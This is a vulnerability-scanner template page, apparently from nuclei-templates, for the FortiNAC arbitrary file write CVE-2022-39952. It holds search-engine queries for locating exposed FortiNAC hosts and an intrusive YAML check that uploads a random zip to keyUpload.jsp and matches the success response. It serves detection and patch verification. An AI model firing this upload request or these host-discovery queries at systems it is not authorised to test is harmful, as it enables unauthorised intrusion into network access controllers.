CVE-2022-39952: Fortinet FortiNAC - Arbitrary File Write
- Template: CVE-2022-39952
- Name: Fortinet FortiNAC - Arbitrary File Write
- Description: Fortinet FortiNAC is susceptible to arbitrary file write. An external control of the file name or path can allow an attacker to execute unauthorized code or commands via specifically crafted HTTP request, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations. Affected versions are 9.4.0, 9.2.0 through 9.2.5, 9.1.0 through 9.1.7, 8.8.0 through 8.8.11, 8.7.0 through 8.7.6, 8.6.0 through 8.6.5, 8.5.0 through 8.5.4, and 8.3.7.
- Impact: Successful exploitation of this vulnerability could lead to unauthorized access, data loss.
- Remediation: Upgrade to 9.4.1, 9.2.6, 9.2.6, 9.1.8, 7.2.0 or above.
- Severity: critical
- Authors: dwisiswant0
- Tags: cve, cve2022, fortinet, fortinac, fileupload, rce, intrusive, vkev, vuln
- References: https://fortiguard.com/psirt/FG-IR-22-300, https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/, https://github.com/horizon3ai/CVE-2022-39952, https://nvd.nist.gov/vuln/detail/CVE-2022-39952, https://github.com/1f3lse/taiE
- Cves: CVE-2022-39952
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-39952.yaml
- Digest: 480a0045304302203c2a4dcf5418b731c27846d9f8fffba7989de1f5e4aa4a6813afc600cf0f527a021f681d8e0323859068fb9716453484a0adb6168efb45644460577b5563bffa78
- Created at: 2023-02-24T05:07:38Z
- Updated at: 2026-11-20T02:03:43Z
- Age in days: 1369
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-39952.yaml
Classification
- Cwe: CWE-668, CWE-73
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.998
- Epss percentile: 0.99958
- Cpe: cpe:2.3:a:fortinet:fortinac:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: title="fortinac"
- Google-query: intitle:"fortinac"
- Max-request: 1
- Product: fortinac
- Shodan-query: title:"FortiNAC", http.title:"fortinac"
- Vendor: fortinet
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| fortinet:fortinac | yes | /v1/products/fortinet/fortinac |
Labels
- Name: Fortinet FortiNAC - Unrestricted File Upload
- Impact: Attackers can execute arbitrary code, modify data, and access sensitive information by exploiting this vulnerability.
- Remediation: Update to the latest version, preferably the most recent release available.
- Vulnerability type: unrestricted_file_upload
- Vulnerability impact: file_system_write, information_disclosure, remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2022-39952
- Not known: requirements
```yaml
id: CVE-2022-39952
info:
name: Fortinet FortiNAC - Arbitrary File Write
author: dwisiswant0
severity: critical
description: |
Fortinet FortiNAC is susceptible to arbitrary file write. An external control of the file name or path can allow an attacker to execute unauthorized code or commands via specifically crafted HTTP request, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations. Affected versions are 9.4.0, 9.2.0 through 9.2.5, 9.1.0 through 9.1.7, 8.8.0 through 8.8.11, 8.7.0 through 8.7.6, 8.6.0 through 8.6.5, 8.5.0 through 8.5.4, and 8.3.7.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access, data loss.
remediation: Upgrade to 9.4.1, 9.2.6, 9.2.6, 9.1.8, 7.2.0 or above.
reference:
- https://fortiguard.com/psirt/FG-IR-22-300
- https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/
- https://github.com/horizon3ai/CVE-2022-39952
- https://nvd.nist.gov/vuln/detail/CVE-2022-39952
- https://github.com/1f3lse/taiE
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-39952
cwe-id: CWE-668,CWE-73
epss-score: 0.998
epss-percentile: 0.99958
cpe: cpe:2.3:a:fortinet:fortinac:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: fortinet
product: fortinac
shodan-query:
- title:"FortiNAC"
- http.title:"fortinac"
fofa-query: title="fortinac"
google-query: intitle:"fortinac"
tags: cve,cve2022,fortinet,fortinac,fileupload,rce,intrusive,vkev,vuln
variables:
boundaryId: "{{hex_encode(rand_text_alphanumeric(16))}}"
http:
- method: POST
path:
- "{{BaseURL}}/configWizard/keyUpload.jsp"
body: |
--{{boundaryId}}
Content-Disposition: form-data; name="key"; filename="{{to_lower(rand_text_alphanumeric(8))}}.zip"
{{randstr}}
--{{boundaryId}}--
headers:
Content-Type: "multipart/form-data; boundary={{boundaryId}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "zipUploadSuccess"
- "SuccessfulUpload"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
digest: 480a0045304302203c2a4dcf5418b731c27846d9f8fffba7989de1f5e4aa4a6813afc600cf0f527a021f681d8e0323859068fb9716453484a0adb6168efb45644460577b5563bffa78:922c64590222798bb761d5b6d8e72950
```